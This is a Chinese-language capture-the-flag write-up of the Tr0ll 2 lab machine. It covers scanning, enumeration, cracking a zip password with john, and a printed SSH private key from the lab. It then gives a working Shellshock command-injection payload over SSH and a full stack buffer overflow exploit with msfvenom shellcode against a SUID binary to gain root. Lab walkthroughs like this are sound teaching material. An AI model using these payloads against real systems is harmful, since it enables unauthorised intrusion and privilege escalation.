信息收集

确定 IP 地址

我的环境特殊,攻击机和靶机并不在同一网段,故无法利用 arp 进行探活,此处利用 nmap 的 sn 选项进行探活:

1
2
3
4
nmap -sn 10.1.1.0/24

Nmap scan report for 10.1.1.53
Host is up (0.0067s latency).

可知靶机的 IP 为 10.1.1.53

端口扫描及服务枚举

首先进行全 TCP 端口的 SYN 扫描,发现开放 TCP 端口 21,22,80:

1
2
3
4
5
6
7
8
9
nmap -sS -p- -oA tcp_full_port -Pn -n 10.1.1.53

Nmap scan report for 10.1.1.53
Host is up (0.0056s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

接下来枚举 banner 及服务:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
nmap -sV -sC -p21,22,80 -Pn -n -oA 10.1.1.53

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
|   2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_  256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

可见,21 端口上运行着 ftp,22 端口上运行着 OpenSSH,80 端口上运行着 Apache。

最后,顺手扫描常用 20 个 udp 端口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -sU --top-ports 20 -sV -sC -Pn -n -oA udp_top_20_ports 10.1.1.33

PORT      STATE         SERVICE      VERSION
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

并没有额外的发现。

80 端口枚举

直接打开浏览器查看页面,主页依旧只有一张图片:

index

查看页面源码,注释中发现疑似用户名 “Tr0ll":

1
2
3
4
5
6
<html>
<img src='tr0ll_again.jpg'>
</html>
<!--Nothing here, Try Harder!>
<!--Author: Tr0ll>
<!--Editor: VIM>

继续访问 http://10.1.1.53/robots.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop

使用 dirb 来扫描 robots.txt 中的内容:

1
2
3
4
5
6
7
8
dirb http://10.1.1.53 robots.txt -o tcp_80_dirb_with_robots.txt

---- Scanning URL: http://10.1.1.53/ ----
+ http://10.1.1.53//noob (CODE:301|SIZE:305)                                                                                                        
+ http://10.1.1.53//keep_trying (CODE:301|SIZE:312)                                                                                                 
+ http://10.1.1.53//dont_bother (CODE:301|SIZE:312)                                                                                               
+ http://10.1.1.53//ok_this_is_it (CODE:301|SIZE:314)                                
-----------------

扫描出来的四个链接,内容均为一张搞怪图片,看起来并无差别,也没有注释:

cat_the_troll

将图片全部下载下来,查看 md5 看有何不同:

1
2
3
4
5
6
md5sum cat_the_troll.jpg*

8e40e4bf4212b317788de52381072cd8  cat_the_troll.jpg
f094e16de91dae231812a2fb382d8803  cat_the_troll.jpg.1
8e40e4bf4212b317788de52381072cd8  cat_the_troll.jpg.2
8e40e4bf4212b317788de52381072cd8  cat_the_troll.jpg.3

有一张明显不同,既然 cat the troll,那就 cat 一下:

1
cat cat_the_troll.jpg.1

ctt

y0ur_self,作为目录访问:

y0ur_self

发现文件 answer.txt,文件的内容看起来是经过 base64 编码,下载并解码:

answer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
base64 -d answer.txt | less

A
A
AA
AB
ABM
AC
ACTH
AI
AIDS
AM
AOL
AOL
ASCII
ASL
ATM
ATP
AWOL
AZ
AZT
:

看起来是一个字典,保存为 answer_decode.txt 备用。

21 端口枚举

利用刚从注释中取得的用户名,密码与用户名相同,登录到 ftp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
ftp 10.1.1.53

Connected to 10.1.1.53.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (10.1.1.53:ja): Tr0ll
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> binary
200 Switching to Binary mode.
ftp> ls
227 Entering Passive Mode (10,1,1,53,165,101).
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1474 Oct 04  2014 lmao.zip
226 Directory send OK.

发现有文件 lmao.zip,下载至本地,尝试解压但存在密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
7z x lmao.zip

Scanning the drive for archives:
1 file, 1474 bytes (2 KiB)

Extracting archive: lmao.zip
--
Path = lmao.zip
Type = zip
Physical Size = 1474
    
Enter password (will not be echoed):

刚才的字典派上用场了,先利用 zip2john 从压缩文件中提取 hash,然后利用 john 进行破解:

1
2
3
4
5
6
7
8
9
zip2john lmao.zip > hash && john --wordlist=answer_decode.txt hash

ver 2.0 efh 5455 efh 7875 lmao.zip/noob PKZIP Encr: 2b chk, TS_chk, cmplen=1300, decmplen=1679, crc=70E48BAD
Using default input encoding: UTF-8

Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ItCantReallyBeThisEasyRightLOL (lmao.zip/noob)

密码为 ItCantReallyBeThisEasyRightLOL,接着解压压缩包得到 noob,该文件明显是一个私钥:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq
yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1
/9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo
q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5
z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy
e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna
u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0
gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq
UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079
La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR
xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP
aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW
K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx
n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB
TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh
WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv
ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t
0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq
vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh
ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG
th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s
G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye
q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO
vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG
zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g==
-----END RSA PRIVATE KEY-----

获取 Initial Shell

利用刚取得的私钥,尝试了几个用户名,noob 与该私钥对应,但是无法直接登录:

1
2
3
4
ssh noob@10.1.1.53 -i noob

TRY HARDER LOL!
Connection to 10.1.1.53 closed.

存在某种限制,尝试使用 ssh -t 参数执行 /bin/sh 进行绕过,无果:

1
2
3
4
ssh noob@10.1.1.53 -i noob -t /bin/sh

TRY HARDER LOL!
Connection to 10.1.1.53 closed.

ssh 直接执行命令:

1
2
3
ssh noob@10.1.1.53 -i noob whoami

TRY HARDER LOL!

经过查询,应该是在 authorized_keys 中使用 command 进行了限制。最后尝试 shellshock,可任意执行命令:

1
2
3
ssh noob@10.1.1.53 -i noob '() { :;}; id'

uid=1002(noob) gid=1002(noob) groups=1002(noob)

那么直接执行 bash,利用 python 获取一个伪终端环境:

initial

提权

一番枚举过后,除了内核版本低,有一个奇怪的文件夹中有奇怪的具有 SUID 权限的可执行程序外,并无其它发现。

enum

三个文件夹内分别有一个 r00t, 但只有一个有用,其它两个都是坑,且具体是哪个是会变化的。所以说只能碰运气去找,正确的那个会接受一个命令行参数,如下所示:

door

该机器的 nc 被做了手脚无法使用,但是有 Python 且防火墙策略没那么严格,直接利用 SimpleHTTPServer 将该文件传出分析,使用 Ghidra 观察其 main 函数:

ghidra

strcpy 直接复制命令行参数到栈缓冲区,查看程序具有的防护机制,无 PIE,NX,canary,摆明了是简单的直接利用:

1
2
3
4
checksec --file=r00t

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols        FORTIFY  Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   73) Symbols      No     0               2               r00t

机器上也存在 gdb,直接调试。

首先生成特征串,用来确定缓冲区的大小:

1
2
3
msf-pattern_create -l 1000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

gdb

eip

EIP 被 0x6a413969 覆盖,查询偏移:

1
2
3
msf-pattern_offset -q 0x6a413969

[*] Exact match at offset 268

尝试寻找 jmp esp 的跳板,并没有,看来只能填一个栈上的绝对地址。因为是绝对地址故有一些注意事项,利用 msfvenom 生成 shellcode,由于使用 strcpy 进行拷贝,需避免出现 \x00

1
2
3
4
5
6
7
8
9
msfvenom -p linux/x86/exec CMD="/bin/sh" -b "\x00" -f python

buf =  b""
buf += b"\xda\xd2\xd9\x74\x24\xf4\x58\xbb\xf6\x54\xa3\xbb\x31"
buf += b"\xc9\xb1\x0b\x83\xc0\x04\x31\x58\x16\x03\x58\x16\xe2"
buf += b"\x03\x3e\xa8\xe3\x72\xed\xc8\x7b\xa9\x71\x9c\x9b\xd9"
buf += b"\x5a\xed\x0b\x19\xcd\x3e\xae\x70\x63\xc8\xcd\xd0\x93"
buf += b"\xc2\x11\xd4\x63\xfc\x73\xbd\x0d\x2d\x07\x55\xd2\x66"
buf += b"\xb4\x2c\x33\x45\xba"

环境变量和命令行参数都是布局在栈地址之上的,也就是栈底位置。所以这里才先生成payload再确定覆盖的地址,暂时 payload 如下所示,覆盖的地址暂时用 BBBB 替代:

1
python -c "print 'A' * 268 + 'BBBB' + '\x90' * 512 + '\xda\xd2\xd9\x74\x24\xf4\x58\xbb\xf6\x54\xa3\xbb\x31\xc9\xb1\x0b\x83\xc0\x04\x31\x58\x16\x03\x58\x16\xe2\x03\x3e\xa8\xe3\x72\xed\xc8\x7b\xa9\x71\x9c\x9b\xd9\x5a\xed\x0b\x19\xcd\x3e\xae\x70\x63\xc8\xcd\xd0\x93\xc2\x11\xd4\x63\xfc\x73\xbd\x0d\x2d\x07\x55\xd2\x66\xb4\x2c\x33\x45\xba'"

gdb 调试前先在 main 函数 RET 处下断点:

break

使用以上的参数运行程序,成功断下,查看寄存器:

esp

ESP 的值为 0xbffff8cc,由于这里布置了 512 字节的 nop 在 shellcode 前方,故覆盖地址的选择便十分宽松(gdb 内和外的栈不完全相同,这里借用大片的 nop 来抵消),我选择 0xbffff880,重新运行程序:

root

拿到 root 权限。

参考

  1. How To Run / Execute Command Using SSH

  2. how can shellshock be exploited over SSH?

  3. Differences in environment layout with and without GDB

  4. Buffer overflow works in gdb but not without it